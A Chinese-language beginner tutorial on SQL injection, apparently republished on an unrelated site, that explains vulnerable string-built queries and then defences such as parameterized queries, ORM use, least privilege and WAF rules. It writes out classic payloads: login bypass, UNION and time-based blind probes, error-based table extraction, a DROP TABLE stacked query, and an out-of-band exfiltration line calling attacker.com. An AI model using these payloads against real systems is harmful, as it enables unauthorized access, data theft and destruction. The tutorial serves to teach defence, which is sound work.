02年世界杯韩国黑哨_曲棍球世界杯 - guanchafang.com

SQL 注入攻擊全解析:從入門到防禦實戰指南
2025-07-17 09:54:05

FacebookLinkedInTweet更新日期: 2025 年 3 月 4 日

本文為 資安入門 系列文,第 9 篇

OWASP Top 10:最新的 Web 安全風險與防範措施(2021 版)

MD5 加密演算法是什麼?

SHA-1 是什麼?為什麼不再安全?

深入解析 Session:從概念到運作方式

什麼是 Session Fixation(會話固定攻擊)?

HTTP 與 HTTPS 的差別:新手完整指南

跨站請求偽造(CSRF)入門指南:攻擊原理、實例與防禦方法

跨站指令碼攻擊(XSS)入門指南:從原理到防禦的全解析

SQL 注入攻擊全解析:從入門到防禦實戰指南 👈所在位置

新手指南:深入了解 Content-Security-Policy (CSP) 與網站安全

從零理解 Same-Origin Policy:瀏覽器安全的第一道防線

跨來源資源共享(CORS)完整指南:打破瀏覽器的安全邊界

當你在網站登入框輸入帳號密碼時,有沒有想過駭客可能用「' OR 1=1 --」這種神秘代碼直接突破防線?

這就是臭名昭著的 SQL 注入攻擊,至今仍位居 OWASP Top 10 網路安全威脅榜首。

本文將以新手角度,帶你親歷駭客攻擊思維,並掌握關鍵防禦技術,從此寫出「防彈級」資料庫程式碼。

SQL 注入攻擊原理剖析

什麼是 SQL 注入?

透過在輸入欄位插入惡意 SQL 代碼,欺騙資料庫執行非預期指令的攻擊手法。

就像給資料庫工程師戴上「催眠眼鏡」,讓其執行任意命令。

經典攻擊流程:

使用者輸入 → 未經處理拼接 SQL → 資料庫執行惡意指令 → 數據洩露/系統控制

漏洞程式碼實例

// 危險的 SQL 拼接方式

$user = $_POST['username'];

$pass = $_POST['password'];

$sql = "SELECT * FROM users WHERE username='$user' AND password='$pass'";

// 當輸入 username = ' OR 1=1 -- 時,SQL 變成:

// SELECT * FROM users WHERE username='' OR 1=1 --' AND password=''

逐步解析攻擊原理

原始程式碼(存在漏洞):

SELECT * FROM users

WHERE username='[使用者輸入]' AND password='[使用者輸入]'

攻擊者輸入:

Username 欄位輸入:' OR 1=1 --

Password 欄位任意輸入(例如:123)

最終組成的 SQL 語句:

SELECT * FROM users

WHERE username='' OR 1=1 --' AND password='123'

步驟 1:單引號閉合(')

攻擊輸入:'

效果:閉合原本的 username='[輸入]' 結構中的前引號,使 SQL 語法進入「可插入代碼」的狀態。

步驟 2:注入永遠成立條件(OR 1=1)

攻擊輸入:OR 1=1

效果:1=1 在 SQL 中永遠為真,因此條件變成:username='' OR true → 無條件成立此時查詢會返回 users 表中所有資料。

步驟 3:註釋符號截斷(--)

攻擊輸入:--

效果:在 SQL 中 -- 是註解符號,會讓後方所有內容失效。原本的 AND password='123' 被註解掉,完全跳過密碼驗證。

視覺化解析

原始查詢結構:

WHERE username='[輸入]' AND password='[輸入]'

攻擊後結構:

WHERE username='' OR 1=1 --' AND password='123'

↑ ↑ ↑

閉合引號 注入條件 註解截斷

為什麼這樣就能登入成功?

關鍵機制

邏輯短路效應:只要 OR 前後任一條件為真即成立,而 1=1 永遠為真,因此整個條件必成立。

資料庫行為:此查詢會返回 users 表中所有用戶資料,若後端程式碼僅檢查「是否有查詢結果」(而非驗證是否唯一匹配),系統就會允許登入。

默認登入規則:許多系統會取查詢結果的第一筆資料作為登入帳號,若資料表中第一個用戶是管理員,攻擊者便直接取得最高權限。

進階補充:不同資料庫的差異

資料庫註解符號攻擊語法範例注意事項MySQL#' OR 1=1 #需注意空格問題SQL Server--' OR 1=1 --通常需換行符號PostgreSQL--' OR 1=1 --與 SQL Server 類似Oracle--' OR 1=1 --需注意語法相容性

實戰攻擊手法演示

基礎攻擊手法

這些是最常見的 SQL 注入手法,通常用來 繞過登入驗證、獲取資料庫資訊 或 判斷系統是否存在 SQL 注入漏洞。

攻擊類型輸入範例效果說明登入繞過' OR 1=1 --透過條件 1=1 始終為真,繞過密碼驗證登入帳戶。查詢數據洩露' UNION SELECT @@version --使用 UNION 合併查詢,獲取資料庫版本資訊,確認 SQL 注入是否可行。盲注攻擊(時間型)' AND SLEEP(5) --讓資料庫延遲回應 5 秒,透過回應時間判斷 SQL 語句是否成功執行。

解釋細節

登入繞過

假設一個網站的登入查詢如下:

SELECT * FROM users WHERE username = 'admin' AND password = 'password';

如果攻擊者在 密碼欄位 輸入:

' OR 1=1 --

最終 SQL 變成:

SELECT * FROM users WHERE username = 'admin' AND password = '' OR 1=1 --';

OR 1=1 始終為真,所以條件被滿足,攻擊者能成功登入任意帳戶,甚至是管理員帳戶。

-- 是 SQL 註解符號,讓後面的原始密碼驗證邏輯失效。

查詢數據洩露

假設攻擊者在輸入欄位中輸入:

' UNION SELECT @@version --

如果應用程式沒有做好防護,SQL 變成:

SELECT * FROM users WHERE username = '' UNION SELECT @@version --';

這樣攻擊者就能透過網頁回應獲取 資料庫版本資訊,幫助他們進一步策劃更精細的攻擊。

盲注攻擊(時間型)

盲注(Blind SQL Injection) 是當網站不直接回應 SQL 執行結果時,攻擊者使用 SLEEP() 來測試是否存在 SQL 注入漏洞。例如輸入:

' AND SLEEP(5) --

使 SQL 查詢變成:

SELECT * FROM users WHERE username = '' AND SLEEP(5) --';

如果伺服器回應時間延遲 5 秒,則攻擊者可以判斷這段 SQL 成功執行,表示 網站可能存在 SQL 注入漏洞。

進階攻擊手法

當攻擊者確認網站存在 SQL 注入漏洞後,他們可能會使用更高級的手法來執行惡意操作。

如 獲取資料表結構、刪除資料、甚至透過資料庫存取遠端伺服器。

利用錯誤訊息洩露資料

有些 SQL 資料庫在執行錯誤時會回應詳細的錯誤訊息,攻擊者可以利用這些訊息來逐步獲取資料庫的架構。

例如:

' AND 1=CONVERT(int, (SELECT TOP 1 table_name FROM information_schema.tables)) --

information_schema.tables 存放了所有資料表的名稱。

SELECT TOP 1 table_name 取得第一個資料表的名稱。

CONVERT(int, ...) 嘗試將字串轉換成數字,導致 SQL 錯誤並顯示具體的資料表名稱。

如果伺服器回應錯誤,例如:

Conversion failed when converting the varchar value 'users' to data type int.

攻擊者便知道 資料庫內有一個名為 users 的資料表,可以進一步查詢其結構。

堆疊查詢攻擊(Stacked Query)

某些 SQL 伺服器允許一次執行 多條 SQL 指令,這可能導致攻擊者直接執行刪除、修改等破壞性操作。

例如,攻擊者輸入:

'; DROP TABLE users; --

導致 SQL 執行變成:

SELECT * FROM users WHERE username = ''; DROP TABLE users; --';

這樣 users 資料表會被 完全刪除,導致所有使用者帳戶消失。

帶外數據傳輸(OOB Data Exfiltration)

在某些情況下,攻擊者可能無法透過網站直接取得資料,但可以讓資料庫 發送請求到外部伺服器,將資料傳輸出去。例如:

' UNION SELECT LOAD_FILE('\\\\attacker.com\\share\\data.txt') --

這段 SQL 會讓資料庫試圖讀取來自 attacker.com 伺服器的檔案,攻擊者可以監聽這些請求,並利用它們來獲取機密數據,例如:

讀取伺服器內部檔案

利用 DNS 請求將數據偷偷發送出去

讓伺服器與攻擊者的機器建立連線(可能用來執行遠端攻擊)

防禦鐵三角:程式層防護

參數化查詢(最佳實踐)

參數化查詢 是防範 SQL 注入的最佳方法之一,它可以確保使用者輸入的數據不會被解釋為 SQL 指令。

這樣可以有效防止攻擊者透過特殊字符或惡意輸入來操控資料庫。

Python + SQLite 安全範例

import sqlite3

conn = sqlite3.connect('users.db')

user = request.form['username'] # 從用戶表單取得輸入

query = "SELECT * FROM users WHERE username = ?"

conn.execute(query, (user,)) # 使用問號 '?' 作為佔位符,確保自動處理特殊字符

在這個範例中,? 是一個佔位符,它會被 user 變數的值取代,而不會直接插入 SQL 語句中。

因此,無論使用者輸入什麼內容(如 ' OR 1=1 --),都只會被視為數據,而不會影響 SQL 語句的執行。

輸入過濾機制

輸入過濾機制 是在接受用戶輸入時,先過濾掉所有潛在的危險字符。

這可以防止不當的字符進入系統,減少 SQL 注入和其他類型的攻擊風險。

白名單驗證範例

// 只允許字母和數字

function sanitize(input) {

return input.replace(/[^a-zA-Z0-9]/g, ''); // 移除所有非字母和數字的字符

}

在這個 JavaScript 範例中,sanitize 函數會過濾掉所有非字母和數字的字符。

這樣可以防止攻擊者插入惡意的 SQL 指令或腳本代碼。

使用 ORM 工具防護

ORM(物件關聯映射)工具 能夠自動處理數據庫查詢,並將 SQL 查詢轉換為安全的 API 操作。

大多數現代 ORM 都內建了防範 SQL 注入的功能。

Sequelize ORM 安全範例(Node.js)

// 使用 Sequelize ORM 來處理數據庫查詢

const users = await User.findAll({

where: {

username: req.body.username // ORM 自動處理 SQL 注入風險

}

});

在這個範例中,Sequelize 會自動轉換查詢,確保 username 的值不會被解釋為 SQL 語句的一部分。

系統層深度防禦

資料庫權限控制

即使攻擊者成功執行了 SQL 注入,他們的影響範圍也可以透過適當的資料庫權限控制來最小化。

應用程式應該只具有基本的 SELECT 和 INSERT 權限,而不應擁有刪除(DROP)或執行(EXEC)等高風險操作的權限。

權限等級建議

應用帳號:僅賦予 SELECT 和 INSERT 權限

連接帳號:禁止執行 DROP、DELETE 和 EXEC 等高風險操作

錯誤訊息:自定義通用錯誤頁面,避免洩露資料庫內部結構

Web 應用防火牆(WAF)規則

Web 應用防火牆(WAF) 可以幫助阻擋常見的攻擊模式,尤其是自動化攻擊工具。

WAF 可以設置特定的規則來過濾惡意請求。

Nginx 防注入規則範例

location / {

if ($args ~* "union.*select") {

return 403; // 阻擋包含 "union select" 的查詢參數

}

if ($request_body ~* "(\'|\%27)") {

return 403; // 阻擋請求中包含單引號的內容

}

}

這些規則能夠檢查傳入的請求,如果發現疑似 SQL 注入的模式(如 UNION SELECT 或單引號 '),則返回 HTTP 403 錯誤碼,拒絕執行請求。

定期安全檢測

定期使用自動化工具來檢測網站的安全性是至關重要的。

這些工具可以模擬攻擊者的行為,幫助開發者識別並修復潛在的漏洞。

自動化工具推薦

SQLMap:通常用於模擬 SQL 注入攻擊,可以反過來用於檢測系統是否有 SQL 注入漏洞。

OWASP ZAP:開源的安全掃描工具,用於檢測常見的網頁應用漏洞。

Burp Suite:功能強大的安全測試套件,可以分析和改變網頁流量,檢測各種攻擊漏洞。

歷史重大案例警示

經典攻擊事件

2009 年 Heartland 支付系統:攻擊者利用 SQL 注入竊取了 1.34 億張信用卡資料,公司最終支付了 1.1 億美元的和解金。

2015 年 TalkTalk 電信公司:青少年駭客使用 SQL 注入攻擊,竊取了 15 萬客戶的個人資料,導致公司損失 6000 萬英鎊。

這些案例提醒我們,SQL 注入可以導致巨大的經濟損失和品牌聲譽的損害。

現代攻擊趨勢

隨著技術的進步,攻擊者也在不斷改進他們的手法:

NoSQL 注入:針對 MongoDB 和其他 NoSQL 資料庫的攻擊。

二階注入(Second-Order Injection):攻擊者將惡意代碼儲存在系統中,等待特定條件觸發後才執行。

自動化工具攻擊:利用 SQLMap 等工具自動掃描網站的 SQL 注入漏洞,進行大規模攻擊。

結語:建立安全程式設計思維

SQL 注入就像網路世界的「鎖匠犯罪」,只要開發者留下任何一道門縫,攻擊者就能長驅直入。

防禦的關鍵在於:

永遠不信任使用者輸入

採用參數化查詢取代字串拼接

實施多層次深度防禦

記住,安全不是功能而是責任。下次寫 SQL 查詢時,請把這句格言刻在腦海裡:

「字串拼接是魔鬼的契約,參數化查詢是天使的護盾」。

從今天起,讓你寫的每一行程式碼都成為駭客攻不破的鋼鐵長城!

分辨胸甲骑兵、龙骑兵、骠骑兵、枪骑兵、猎骑兵
辐射4独立随从哪个好
最新文章